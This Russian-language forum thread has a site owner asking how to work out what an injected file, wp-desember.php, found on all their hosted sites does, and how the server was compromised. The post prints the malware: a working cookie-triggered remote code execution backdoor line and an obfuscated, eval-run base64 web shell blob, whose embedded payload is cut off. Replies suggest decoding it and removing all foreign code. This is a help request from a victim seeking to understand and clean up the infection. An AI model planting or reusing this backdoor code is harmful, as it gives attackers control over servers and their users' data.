Вирус на сайте / PHP, Perl, Python

ReSQL.ru

Мобильная версия Контакт Правила FAQ Помощь

Гость

Войти | Регистрация | Профиль | Очистить

Новые сообщения | Избранное

Форумы | Пользователи | Статистика | Мод. лог | Поиск

Доб. в избранное | Игнор. тему | Прикреп. тему | Пометить прочит. / непрочит. | Фильтр

Форумы / PHP, Perl, Python [игнор отключен] [закрыт для гостей] / Вирус на сайте

6 сообщений из 6, страница 1 из 1

Вирус на сайте

#39359936

astalavistabest

Гость

Здравствуйте. На сайте появился файл wp-desember.php.
Каким образом безопасно узнать, что он делает, и "наделал" ли он что-то? Еще вопрос, можно ли каки-либо образом ухнать, как был взломан сервер? дело в том, что файл появился на всех сайтах на хостинге, а там их с десяток, начиная от джумлы и вордпресса и заканчивая самописными.

содержимое файла:

Код: php

1.
2.
3.
4.
5.
6.
7.
8.
9.
10.
11.
12.
13.
14.
15.
16.
17.
18.

<?php

if (isset($_COOKIE["id"])) @$_COOKIE["user"]($_COOKIE["id"]);

  

$auth_pass = "d41f30ec49e9"."1e9a01ed6df1"."eab25fb0";
$color = "#d"."f5";
$default_action = 'Fi'.'les'.'Man';
$default_use_ajax = false;
$default_charset = 'ut'.'f-8';

$ecode = "uns"."er"."ia"."li"."ze"."(trim(base"."64_de"."co"."de";
$database = 'YToxNTE1OntpOjA7czo1NjoiYVdZb0lXVnRjSFI1S0NSZlUwVlNWa............................
oWTNScGIyNG5JQzRnSkY5UVQxTlVXeWRoSjEwcE93PT0iO2k6MTUxNDtzOjg6IlpYaHBkRHM9Ijt9';
// (строка в несколько десятков строк)

print eval(implode("\n", array_map('base64_decode', unserialize(trim(base64_decode( $database ))))));

...

Рейтинг:

0 / 0

03.12.2016, 22:13

| Ответить | Цитировать | Написать

Вирус на сайте

#39359937

SharuPoNemnogu

Участник

Откуда: Казань

Сообщения: 1 734

Рейтинг: 0 / 0

Код: php

print_r(array_map('base64_decode', unserialize(trim(base64_decode( $database )))));

вот тут код, который запускается

...

Рейтинг:

0 / 0

03.12.2016, 22:21

| Ответить | Цитировать | Написать

Вирус на сайте

#39359941

astalavistabest

Гость

SharuPoNemnogu

Код: php

print_r(array_map('base64_decode', unserialize(trim(base64_decode( $database )))));

вот тут код, который запускается

Что-то ничего не понятно... Примерно можете сказать его назначение?
Файл во вложении

...

Рейтинг:

0 / 0

03.12.2016, 22:45

| Ответить | Цитировать | Написать

Вирус на сайте

#39360207

SharuPoNemnogu

Участник

Откуда: Казань

Сообщения: 1 734

Рейтинг: 0 / 0

сюда в спойлер засунь что выводит

...

Рейтинг:

0 / 0

05.12.2016, 08:55

| Ответить | Цитировать | Написать

Вирус на сайте

#39360686

netwind

Участник

Сообщения: 14 195

Рейтинг: 0 / 0

astalavistabestSharuPoNemnogu

Код: php

print_r(array_map('base64_decode', unserialize(trim(base64_decode( $database )))));

вот тут код, который запускается

Что-то ничего не понятно... Примерно можете сказать его назначение?
Файл во вложении
а зачем
Не открывал файл но знаю, что назначение сугубо удушливое.
Это вообще не важно. Важно, что вам надо удалить весь чужой код.

...

Рейтинг:

0 / 0

05.12.2016, 16:57

| Ответить | Цитировать | Написать

Вирус на сайте

#39372375

Kempriol

Гость

astalavistabest,

буквально на днях столкнулся с точно такой же заразой. сайты на джумле. у вас удалось выяснить лазейку заражения?

...

Рейтинг:

0 / 0

21.12.2016, 20:58

| Ответить | Цитировать | Написать

6 сообщений из 6, страница 1 из 1

Форумы / PHP, Perl, Python [игнор отключен] [закрыт для гостей] / Вирус на сайте

Цитировать

Написать

Автор*:

Ввести пароль для входа

Тема*:

Сообщение

Данное сообщение тематическое

Сообщение содержит картинки или видео 18+

Автор:

ВНИМАНИЕ! На данном подфоруме действуют строгие правила. Удостоверьтесь, что ваше сообщение соответствует им!

Форум или тема закрыты для гостей. Необходима авторизация!

Загрузить последнюю сохраненную версию

Вложение:

Вставить как галерею

Максимальный размер вложений: 4,0 МБ, аудио/видео: 8,0 МБ. Картинки большего размера ужимаются, если возможно.

Введите код, изображенный на картинке. Если код нечитаемый, кликните картинку, чтобы загрузить другой вариант.

Отправляя сообщение, я выражаю свое согласие с правилами форума и принимаю пользовательское соглашение.

Читали тему (0):

Читали форум (0):

Пользователи онлайн (0):

start [/forum/topic.php?fid=23&msg=39360207&tid=1460817]:	0ms
get settings:	8ms
get forum list:	13ms
check forum access:	3ms
check topic access:	3ms
track hit:	35ms
get topic data:	9ms
get forum data:	2ms
get page messages:	35ms
get tp. blocked users:	1ms
others:	12ms

total:	121ms